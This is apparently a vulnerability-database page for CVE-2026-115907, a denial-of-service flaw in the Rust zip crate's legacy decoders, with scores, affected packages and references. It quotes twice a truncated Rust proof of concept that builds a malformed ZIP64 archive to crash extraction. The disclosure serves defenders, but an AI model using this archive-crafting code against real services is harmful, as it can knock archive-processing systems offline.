CVE-2026-115907
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
- Record
CVE-2026-115907- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-789
- Updated
- 2026-11-02
EUVDEUVD-2026-109984
7.5
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
- Record
EUVD-2026-109984- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9hj8-73fh-9963
7.5
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
Summary
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
Details
When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:
if !self.stream_read {
self.stream_read = true;
let mut compressed_bytes = Vec::new();
self.compressed_reader.read_to_end(&mut compressed_bytes)?;
self.stream.reserve(self.uncompressed_size as usize);
hwunshrink(
&compressed_bytes,
self.uncompressed_size as usize,
&mut self.stream,
)?;
}
In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.
self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.
The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().
The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.
PoC
Create a new Cargo project with the following layout:
zip2-legacy-poc/
|-- Cargo.toml
`-- src/
`-- main.rs
Use this Cargo.toml:
[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false
[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }
Use this src/main.rs:
use std::fs::File;
use std::io::{Cursor, Write};
fn push16(out: &mut Vec<u8>, value: u16) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push32(out: &mut Vec<u8>, value: u32) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push64(out: &mut Vec<u8>, value: u64) {
out.extend_from_slice(&value.to_le_bytes());
}
fn zip64_extra() -> Vec<u8> {
let mut extra = Vec::new();
push16(&mut extra, 0x0001);
push16(&mut extra, 16);
push64(&mut extra, u64::MAX);
push64(&mut extra, 1);
extra
}
fn archive() -> Vec<u8> {
let name = b"entry";
let extra = zip64_extra();
let mut out = Vec::new();
push32(&mut out, 0x0403_4b50);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
out.push(0);
let central_start = out.len() as u32;
push32(&mut out, 0x0201_4b50);
push16(&mut out, 45);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, 0);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
let central_size =…
- Record
GHSA-9hj8-73fh-9963- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-789
- Updated
- 2026-11-02
NVD
7.5
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
- Record
CVE-2026-115907- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-789
- Updated
- 2026-11-02
OSV
7.5
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
- Record
CVE-2026-115907- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-789
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-115907
7.5
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
- Record
DEBIAN-CVE-2026-115907- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-9hj8-73fh-9963
7.5
zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size
Summary
A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.
Details
When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:
if !self.stream_read {
self.stream_read = true;
let mut compressed_bytes = Vec::new();
self.compressed_reader.read_to_end(&mut compressed_bytes)?;
self.stream.reserve(self.uncompressed_size as usize);
hwunshrink(
&compressed_bytes,
self.uncompressed_size as usize,
&mut self.stream,
)?;
}
In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.
self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.
The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().
The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.
PoC
Create a new Cargo project with the following layout:
zip2-legacy-poc/
|-- Cargo.toml
`-- src/
`-- main.rs
Use this Cargo.toml:
[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false
[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }
Use this src/main.rs:
use std::fs::File;
use std::io::{Cursor, Write};
fn push16(out: &mut Vec<u8>, value: u16) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push32(out: &mut Vec<u8>, value: u32) {
out.extend_from_slice(&value.to_le_bytes());
}
fn push64(out: &mut Vec<u8>, value: u64) {
out.extend_from_slice(&value.to_le_bytes());
}
fn zip64_extra() -> Vec<u8> {
let mut extra = Vec::new();
push16(&mut extra, 0x0001);
push16(&mut extra, 16);
push64(&mut extra, u64::MAX);
push64(&mut extra, 1);
extra
}
fn archive() -> Vec<u8> {
let name = b"entry";
let extra = zip64_extra();
let mut out = Vec::new();
push32(&mut out, 0x0403_4b50);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
out.push(0);
let central_start = out.len() as u32;
push32(&mut out, 0x0201_4b50);
push16(&mut out, 45);
push16(&mut out, 45);
push16(&mut out, 0);
push16(&mut out, 1); // Shrink compression.
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, u32::MAX);
push32(&mut out, u32::MAX);
push16(&mut out, name.len() as u16);
push16(&mut out, extra.len() as u16);
push16(&mut out, 0);
push16(&mut out, 0);
push16(&mut out, 0);
push32(&mut out, 0);
push32(&mut out, 0);
out.extend_from_slice(name);
out.extend_from_slice(&extra);
let central_size =…
- Record
GHSA-9hj8-73fh-9963- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400, CWE-789
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-115907
7.5
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.
- Record
UBUNTU-CVE-2026-115907- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-04
OSVopenSUSE-SU-2026:12307-1 No score
python313-uv-0.13.6-1.1 on GA media
These are all security issues fixed in the python313-uv-0.13.6-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12307-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:4930-1 No score
Security update for rust-keylime
This update for rust-keylime fixes the following issue:
- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers (bsc#1287921)
- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)
- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)
- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)
- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)
Changes for rust-keylime:
- Update to version 0.2.10+12:
- log Agent UUID at push agent startup
- Limit actix-web workers
- Fix clippy needless_late_init warnings
- Unwrap OCTET STRING wrapped EK certificates
- build(deps): bump rand from 0.9.4 to 0.10.1
- build(deps): bump glob from 0.3.3 to 0.3.4
- build(deps): bump reqwest from 0.13.3 to 0.13.4
- Check shutdown marker inside ml_extend loop
- Fix clippy useless_borrows_in_formatting warnings
- build(deps): bump tokio from 1.52.2 to 1.53.1
- Fix payload key upgrade regression by falling back to mTLS key
- Accept any RSA key size for payload encryption
- Bump version to 0.2.10
- keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols
- Record
SUSE-SU-2026:4930-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:4931-1 No score
Security update for rust-keylime
This update for rust-keylime fixes the following issue:
- CVE-2026-115905: zip: security control bypass via parser differential between central directory and local headers (bsc#1287921)
- CVE-2026-115906: zip: authentication bypass in AES encrypted entries due to improper HMAC verification (bsc#1287921)
- CVE-2026-115907: zip: denial of service via unbounded memory allocation in legacy decoders (bsc#1287921)
- CVE-2026-115908: zip: path traversal via lexical symlink validation during extraction (bsc#1287921)
- CVE-2026-115909: zip: denial of service via uncontrolled memory allocation on symlink targets (bsc#1287921)
Changes for rust-keylime:
- Update to version 0.2.10+12:
- log Agent UUID at push agent startup
- Limit actix-web workers
- Fix clippy needless_late_init warnings
- Unwrap OCTET STRING wrapped EK certificates
- build(deps): bump rand from 0.9.4 to 0.10.1
- build(deps): bump glob from 0.3.3 to 0.3.4
- build(deps): bump reqwest from 0.13.3 to 0.13.4
- Check shutdown marker inside ml_extend loop
- Fix clippy useless_borrows_in_formatting warnings
- build(deps): bump tokio from 1.52.2 to 1.53.1
- Fix payload key upgrade regression by falling back to mTLS key
- Accept any RSA key size for payload encryption
- Bump version to 0.2.10
- keylime: use runtime OpenSSL algorithm detection instead of compile-time symbols
- Record
SUSE-SU-2026:4931-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
zipcrates.io |
5.1.0 up to 9.0.0 | 9.0.0 |
rust-zipDebian:12 |
All versions, plus listed versions 0.6.3-30.6.6-10.6.6-20.6.6-30.6.6-4 Show 9 moreShow less0.6.6-52.5.0-15.1.1+dfsg-15.1.1-15.1.1-25.1.1-35.1.1-49.0.5+ds-19.1.3+ds-1 |
None known |
rust-zipDebian:13 |
All versions, plus listed versions 2.5.0-15.1.1+dfsg-15.1.1-15.1.1-25.1.1-35.1.1-49.0.5+ds-19.1.3+ds-1 |
None known |
rust-zipDebian:14 |
All versions, plus listed versions 2.5.0-15.1.1+dfsg-15.1.1-15.1.1-25.1.1-35.1.1-49.0.5+ds-19.1.3+ds-1 |
None known |
rust-keylimeSUSE:Linux Enterprise Micro 5.4 From an advisory covering 5 CVEs |
before 0.2.10+12-150400.3.22.1 | 0.2.10+12-150400.3.22.1 |
rust-keylimeSUSE:Linux Enterprise Micro 5.5 From an advisory covering 5 CVEs |
before 0.2.10+12-150500.3.22.1 | 0.2.10+12-150500.3.22.1 |
rust-zipUbuntu:26.10 |
All versions, plus listed versions 5.1.1-35.1.1+dfsg-1 |
None known |
rust-zipUbuntu:26.04:LTS |
All versions, plus listed versions 2.5.0-15.1.1-25.1.1-3 |
None known |
python-uvopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 0.13.6-1.1 | 0.13.6-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-115907 is a high vulnerability (CVSS 7.5) in Zip-rs Zip2, published October 26, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.35%, the 28th percentile. Fixed in zip 9.0.0.
References
github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963
github.com/zip-rs/zip2/pull/991
github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e
github.com/zip-rs/zip2/releases/tag/v9.0.0
nvd.nist.gov/vuln/detail/CVE-2026-115907
github.com/advisories/GHSA-9hj8-73fh-9963
Show 18 moreShow less
github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115907.json
security-tracker.debian.org/tracker/CVE-2026-115907
github.com/zip-rs/zip2
suse.com/support/update/announcement/2026/suse-su-20264930-1
bugzilla.suse.com/1287921
suse.com/security/cve/CVE-2026-115905
suse.com/security/cve/CVE-2026-115906
suse.com/security/cve/CVE-2026-115907
suse.com/security/cve/CVE-2026-115908
suse.com/security/cve/CVE-2026-115909
suse.com/support/update/announcement/2026/suse-su-20264931-1
ubuntu.com/security/CVE-2026-115907
cve.org/CVERecord?id=CVE-2026-115907
github.com/zip-rs/zip2/security/advisories/ghsa-9hj8-73fh-9963
bugs.debian.org/cgi-bin/bugreport.cgi?bug=1152227
security-tracker.debian.org/tracker/cve-2026-115907
github.com/cveproject/cvelistv5/tree/main/cves/2026/115xxx/cve-2026-115907.json
nvd.nist.gov/vuln/detail/cve-2026-115907
Left out here: the rest of 2 source descriptions. The JSON record has them.